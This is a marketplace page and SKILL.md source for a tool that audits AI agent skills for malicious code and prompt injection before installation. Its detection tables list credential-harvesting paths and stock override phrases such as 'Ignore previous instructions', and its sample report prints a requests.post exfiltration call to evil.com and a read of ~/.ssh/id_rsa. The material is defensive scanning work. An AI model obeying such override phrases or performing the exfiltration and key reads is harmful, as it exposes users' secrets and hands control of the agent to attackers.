Install
Quick install
npx skills add https://github.com/alirezarezvani/claude-skills/tree/main/engineering/skills/skill-security-auditornpx skills add alirezarezvani/claude-skills --skill skill-security-auditor --agent claude-codenpx skills add alirezarezvani/claude-skills --skill skill-security-auditor --agent cursornpx skills add alirezarezvani/claude-skills --skill skill-security-auditor --agent codexnpx skills add alirezarezvani/claude-skills --skill skill-security-auditor --agent opencodenpx skills add alirezarezvani/claude-skills --skill skill-security-auditor --agent github-copilotnpx skills add alirezarezvani/claude-skills --skill skill-security-auditor --agent windsurfMore install options
Shorthand — useful for multi-skill repos:
npx skills add alirezarezvani/claude-skills --skill skill-security-auditorManual — clone the repo and drop the folder into your agent's skills directory:
git clone https://github.com/alirezarezvani/claude-skills.gitcp -r claude-skills/engineering/skills/skill-security-auditor ~/.claude/skills/Skill Security Auditor
Scan and audit AI agent skills for security risks before installation. Produces a
clear PASS / WARN / FAIL verdict with findings and remediation guidance.
Quick Start
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
What Gets Scanned
1. Code Execution Risks (Python/Bash Scripts)
Scans all .py, .sh, .bash, .js, .ts files for:
| Category | Patterns Detected | Severity |
|----------|-------------------|----------|
| Command injection | os.system(), os.popen(), subprocess.call(shell=True), backtick execution | 🔴 CRITICAL |
| Code execution | eval(), exec(), compile(), __import__() | 🔴 CRITICAL |
| Obfuscation | base64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains | 🔴 CRITICAL |
| Network exfiltration | requests.post(), urllib.request, socket.connect(), httpx, aiohttp | 🔴 CRITICAL |
| Credential harvesting | reads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns | 🔴 CRITICAL |
| File system abuse | writes outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation | 🟡 HIGH |
| Privilege escalation | sudo, chmod 777, setuid, cron manipulation | 🔴 CRITICAL |
| Unsafe deserialization | pickle.loads(), yaml.load() (without SafeLoader), marshal.loads() | 🟡 HIGH |
| Subprocess (safe) | subprocess.run() with list args, no shell | ⚪ INFO |
2. Prompt Injection in SKILL.md
Scans SKILL.md and all .md reference files for:
| Pattern | Example | Severity |
|---------|---------|----------|
| System prompt override | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| Role hijacking | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| Safety bypass | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| Hidden instructions | Zero-width characters, HTML comments with directives | 🟡 HIGH |
| Excessive permissions | "Run any command", "Full filesystem access" | 🟡 HIGH |
| Data extraction | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
3. Dependency Supply Chain
For skills with requirements.txt, package.json, or inline pip install:
| Check | What It Does | Severity |
|-------|-------------|----------|
| Known vulnerabilities | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |
| Typosquatting | Flag packages similar to popular ones (e.g., reqeusts) | 🟡 HIGH |
| Unpinned versions | Flag requests>=2.0 vs requests==2.31.0 | ⚪ INFO |
| Install commands in code | pip install or npm install inside scripts | 🟡 HIGH |
| Suspicious packages | Low download count, recent creation, single maintainer | ⚪ INFO |
4. File System & Structure
| Check | What It Does | Severity |
|-------|-------------|----------|
| Boundary violation | Scripts referencing paths outside skill directory | 🟡 HIGH |
| Hidden files | .env, dotfiles that shouldn't be in a skill | 🟡 HIGH |
| Binary files | Unexpected executables, .so, .dll, .exe | 🔴 CRITICAL |
| Large files | Files >1MB that could hide payloads | ⚪ INFO |
| Symlinks | Symbolic links pointing outside skill directory | 🔴 CRITICAL |
Audit Workflow
- Run the scanner on the skill directory or repo URL
- Review the report — findings grouped by severity
- Verdict interpretation:
- ✅ PASS — No critical or high findings. Safe to install.
- ⚠️ WARN — High/medium findings detected. Review manually before installing.
- ❌ FAIL — Critical findings. Do NOT install without remediation.
- Remediation — each finding includes specific fix guidance
Reading the Report
╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0
Advanced Usage
Audit a Skill from Git Before Cloning
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
CI/CD Integration
# GitHub Actions step
- name: "audit-skill-security"
run: |
python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
Batch Audit
# Audit all skills in a directory
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
Threat Model Reference
For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references/threat-model.md](references/threat-model.md).
Limitations
- Cannot detect logic bombs or time-delayed payloads with certainty
- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
- Network destination reputation checks require internet access
- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
- Dependency vulnerability checks use local pattern matching, not live CVE databases
When in doubt after an audit, don't install. Ask the skill author for clarification.
SKILL.md source
---
name: skill-security-auditor
description: >
---
# Skill Security Auditor
Scan and audit AI agent skills for security risks before installation. Produces a
clear **PASS / WARN / FAIL** verdict with findings and remediation guidance.
## Quick Start
```bash
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
```
## What Gets Scanned
### 1. Code Execution Risks (Python/Bash Scripts)
Scans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:
| Category | Patterns Detected | Severity |
|----------|-------------------|----------|
| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |
| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |
| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |
| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |
| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | 🔴 CRITICAL |
| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟡 HIGH |
| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |
| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |
| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |
### 2. Prompt Injection in SKILL.md
Scans SKILL.md and all `.md` reference files for:
| Pattern | Example | Severity |
|---------|---------|----------|
| **System prompt override** | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Role hijacking** | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Safety bypass** | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |
| **Excessive permissions** | "Run any command", "Full filesystem access" | 🟡 HIGH |
| **Data extraction** | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
### 3. Dependency Supply Chain
For skills with `requirements.txt`, `package.json`, or inline `pip install`:
| Check | What It Does | Severity |
|-------|-------------|----------|
| **Known vulnerabilities** | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |
| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |
| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |
| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |
| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |
### 4. File System & Structure
| Check | What It Does | Severity |
|-------|-------------|----------|
| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |
| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |
| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |
| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |
| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |
## Audit Workflow
1. **Run the scanner** on the skill directory or repo URL
2. **Review the report** — findings grouped by severity
3. **Verdict interpretation:**
- **✅ PASS** — No critical or high findings. Safe to install.
- **⚠️ WARN** — High/medium findings detected. Review manually before installing.
- **❌ FAIL** — Critical findings. Do NOT install without remediation.
4. **Remediation** — each finding includes specific fix guidance
## Reading the Report
```
╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0
```
## Advanced Usage
### Audit a Skill from Git Before Cloning
```bash
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
```
### CI/CD Integration
```yaml
# GitHub Actions step
- name: "audit-skill-security"
run: |
python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
```
### Batch Audit
```bash
# Audit all skills in a directory
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
```
## Threat Model Reference
For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references/threat-model.md](references/threat-model.md).
## Limitations
- Cannot detect logic bombs or time-delayed payloads with certainty
- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
- Network destination reputation checks require internet access
- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
- Dependency vulnerability checks use local pattern matching, not live CVE databases
When in doubt after an audit, **don't install**. Ask the skill author for clarification.
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